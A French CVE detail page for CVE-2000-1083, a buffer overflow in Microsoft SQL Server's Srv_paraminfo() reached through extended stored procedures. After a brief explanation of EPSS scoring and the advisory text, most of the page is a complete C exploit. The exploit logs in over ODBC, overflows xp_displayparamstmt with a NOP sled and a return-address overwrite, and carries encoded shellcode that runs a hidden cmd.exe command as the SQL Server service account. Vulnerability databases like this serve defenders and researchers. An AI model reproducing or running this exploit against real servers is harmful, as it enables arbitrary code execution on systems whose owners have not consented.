CVE-2000-1083 : Détail

Le modèle EPSS produit un score de probabilité compris entre 0 et 1 (0 et 100 %). Plus la note est élevée, plus la probabilité qu'une vulnérabilité soit exploitée est grande.

Le percentile est utilisé pour classer les CVE en fonction de leur score EPSS. Par exemple, une CVE dans le 95e percentile selon son score EPSS est plus susceptible d'être exploitée que 95 % des autres CVE. Ainsi, le percentile sert à comparer le score EPSS d'une CVE par rapport à d'autres CVE.

// source: https://www.securityfocus.com/bid/2038/info The API Srv_paraminfo(), which is implemented by Extended Stored Procedures (XPs) in Microsoft SQL Server and Data Engine, is susceptible to a buffer overflow vulnerability which may cause the application to fail or arbitrary code to be executed on the target system depending on the data entered into the buffer. XPs are DLL files that perform high level functions in SQL Server. When called, they invoke a function called Srv_paraminfo() to parse the input parameters. A vulnerability lies in Srv_paraminfo() and the fact that it does not check the length of the parameter string that an XP passes to it. If an attacker can pass an overly long string to the XP xp_showcolv, a buffer overflow can occur due to an unsafe memory copy. This can cause SQL Server to crash. It may also be possible for attackers to execute arbitrary code on the host running SQL Server. The attacker would need to overwrite the return address of the calling function with the address of supplied shellcode in memory. This shellcode would be executed under the context of the account that the SQL Server service was configured to run under. The minimum privilege level that the account would have to possess are SYSTEM privileges. This vulnerability is confined to those who can successfully log onto the SQL server. #include <stdio.h> #include <windows.h> #include <wchar.h> #include <lmcons.h> #include <sql.h> #include <sqlext.h> int main(int argc, char *argv[]) { char szBuffer[1025]; //display successful connection info on //hdbc(s) combo-box SWORD swStrLen; //String length SQLHDBC hdbc; //hdbc SQLRETURN nResult; SQLHANDLE henv; HSTMT hstmt; SCHAR InConnectionString[1025] = "DRIVER={SQL Server};SERVER="; SCHAR server[100]=""; SCHAR uid[32]=";UID="; SCHAR pwd[32]=";PWD="; SCHAR *db=";DATABASE=master"; UCHAR query[20000] = "exec xp_displayparamstmt '"; unsigned char ch=0x01; int count = 27, var =0, result = 0, chk =0; if(argc !=4) { printf("USAGE:\t%s host uid pwd\nDavid Litchfield 9th November 2000\n",argv[0]); return 0; } strncpy(server,argv[1],96); strncat(uid,argv[2],28); strncat(pwd,argv[3],28); strncat(InConnectionString,server,96); strncat(InConnectionString,uid,28); strncat(InConnectionString,pwd,28); strcat(InConnectionString,db); while(count < 12083) { query[count]=0x90; count++; } // jmp eax query[count++]=0xFF; query[count++]=0xE0; // nops query[count++]=0x90; query[count++]=0x90; // overwrite saved return address query[count++]=0xAE; query[count++]=0x20; query[count++]=0xA6; query[count++]=0x41; // code starts in ernest query[count++]=0x90; // mov edx,eax query[count++]=0x8B; query[count++]=0xD0; // add edx,0x52 <- points to our string table query[count++]=0x83; query[count++]=0xC2; query[count++]=0x52; // push ebp query[count++]=0x55; // mov ebp,esp query[count++]=0x8B; query[count++]=0xEC; // mov edi,0x41A68014 query[count++]=0xBF; query[count++]=0x14; query[count++]=0x80; query[count++]=0xA6; query[count++]=0x41; //mov esi,0x41A68040 query[count++]=0xBE; query[count++]=0x40; query[count++]=0x80; query[count++]=0xA6; query[count++]=0x41; // mov ecx, 0xFFFFFFFF query[count++]=0xB9; query[count++]=0xFF; query[count++]=0xFF; query[count++]=0xFF; query[count++]=0xFF; // sub ecx, 0xFFFFFFB3 query[count++]=0x83; query[count++]=0xE9; query[count++]=0xB3; // here: // sub dword ptr[edx],1 query[count++]=0x83; query[count++]=0x2A; query[count++]=0x01; // add edx,1 query[count++]=0x83; query[count++]=0xC2; query[count++]=0x01; // sub ecx,1 query[count++]=0x83; query[count++]=0xE9; query[count++]=0x01; // test ecx,ecx query[count++]=0x85; query[count++]=0xC9; // jne here query[count++]=0x75; query[count++]=0xF3; // sub edx, 0x48 query[count++]=0x83; query[count++]=0xEA; query[count++]=0x48; // push edx <- calling LoadLibrary will mess edx so save it on stack // Even though we're about to push edx as an arg to LoadLibrary // we have to push it twice as LoadLibrary will remove one of them // from the stack - once the call has returned pop it back into edx query[count++]=0x52; // LoadLibrary("kernel32.dll"); // push edx query[count++]=0x52; // call [edi] query[count++]=0xFF; query[count++]=0x17; // pop edx query[count++]=0x5A; // On return LoadLibrary has placed a handle in EAX // save this on this stack for later use // push eax query[count++]=0x50; // GetProcAddress(HND,"WinExec"); // add edx, 0x10 query[count++]=0x83; query[count++]=0xC2; query[count++]=0x10; // push edx // need to save this again - pop it when GetProcAddress returns query[count++]=0x52; //push edx query[count++]=0x52; // push eax query[count++]=0x50; // call [esi] query[count++]=0xFF; query[count++]=0x16; // pop edx query[count++]=0x5A; // WinExec("cmd.exe /c.....",SW_HIDE); // add edx, 0x08 query[count++]=0x83; query[count++]=0xC2; query[count++]=0x08; // push edx query[count++]=0x52; // <- save edx // xor ebx,ebx query[count++]=0x33; query[count++]=0xDB; // push ebx query[count++]=0x53; // push edx query[count++]=0x52; // call eax query[count++]=0xFF; query[count++]=0xD0; // With the shell spawned code now calls ExitProcess() //pop edx query[count++]=0x5A; // pop eax <- This is saved handle to kernel32.dll query[count++]=0x58; // GetProcAddress(HND,"ExitProcess"); // add edx,0x24 query[count++]=0x83; query[count++]=0xC2; query[count++]=0x24; // push edx query[count++]=0x52; // push eax query[count++]=0x50; // call [esi] query[count++]=0xFF; query[count++]=0x16; // call ExitProcess(0); // xor ebx,ebx query[count++]=0x33; query[count++]=0xDB; // push ebx query[count++]=0x53; // call eax query[count++]=0xFF; query[count++]=0xD0; // Here are our strings // kernel32.dll, WinExec, cmd.exe /c ... , ExitProcess // 1 has been added to each character to 'hide' the nulls // the loop will sub 1 from each char query[count++]=0x01; query[count++]=0x01; query[count++]=0x01; query[count++]=0x01; query[count++]=0x6c; query[count++]=0x66; query[count++]=0x73; query[count++]=0x6f; query[count++]=0x66; query[count++]=0x6d; query[count++]=0x34; query[count++]=0x33; query[count++]=0x2f; query[count++]=0x65; query[count++]=0x6d; query[count++]=0x6d; query[count++]=0x01; query[count++]=0x01; query[count++]=0x01; query[count++]=0x01; query[count++]=0x58; query[count++]=0x6a; query[count++]=0x6f; query[count++]=0x46; query[count++]=0x79; query[count++]=0x66; query[count++]=0x64; query[count++]=0x01; query[count++]=0x64; query[count++]=0x6e; query[count++]=0x65; query[count++]=0x2f; query[count++]=0x66; query[count++]=0x79; query[count++]=0x66; query[count++]=0x21; query[count++]=0x30; query[count++]=0x64; query[count++]=0x21; query[count++]=0x65; query[count++]=0x6a; query[count++]=0x73; query[count++]=0x21; query[count++]=0x3f; query[count++]=0x21; query[count++]=0x64; query[count++]=0x3b; query[count++]=0x5d; query[count++]=0x74; query[count++]=0x72; query[count++]=0x6d; query[count++]=0x70; query[count++]=0x77; query[count++]=0x66; query[count++]=0x73; query[count++]=0x73; query[count++]=0x76; query[count++]=0x6f; query[count++]=0x2f; query[count++]=0x75; query[count++]=0x79; query[count++]=0x75; query[count++]=0x01; query[count++]=0x01; query[count++]=0x46; query[count++]=0x79; query[count++]=0x6a; query[count++]=0x75; query[count++]=0x51; query[count++]=0x73; query[count++]=0x70; query[count++]=0x64; query[count++]=0x66; query[count++]=0x74; query[count++]=0x74; query[count++]=0x01; strcat(query,"',2,3"); if (SQLAllocHandle(SQL_HANDLE_ENV,SQL_NULL_HANDLE,&henv) != SQL_SUCCESS) { printf("Error SQLAllocHandle"); return 0; } if (SQLSetEnvAttr(henv, SQL_ATTR_ODBC_VERSION,(SQLPOINTER) SQL_OV_ODBC3, SQL_IS_INTEGER) != SQL_SUCCESS) { printf("Error SQLSetEnvAttr"); return 0; } if ((nResult = SQLAllocHandle(SQL_HANDLE_DBC,henv,(SQLHDBC FAR *)&hdbc)) != SQL_SUCCESS) { printf("SQLAllocHandle - 2"); return 0; } nResult = SQLDriverConnect(hdbc, NULL, InConnectionString, strlen(InConnectionString), szBuffer, 1024, &swStrLen, SQL_DRIVER_COMPLETE_REQUIRED); if(nResult == SQL_SUCCESS | nResult == SQL_SUCCESS_WITH_INFO) { printf("Connected to MASTER database...\n\n"); SQLAllocStmt(hdbc,&hstmt); } else { printf("Couldn't connect.\n"); return 0; } if(SQLExecDirect(hstmt,query,SQL_NTS) !=SQL_SUCCESS) { printf("\nBuffer has been sent...c:\\sqloverrun.txt should now exist."); return 0; } printf("Buffer sent..."); return 0; }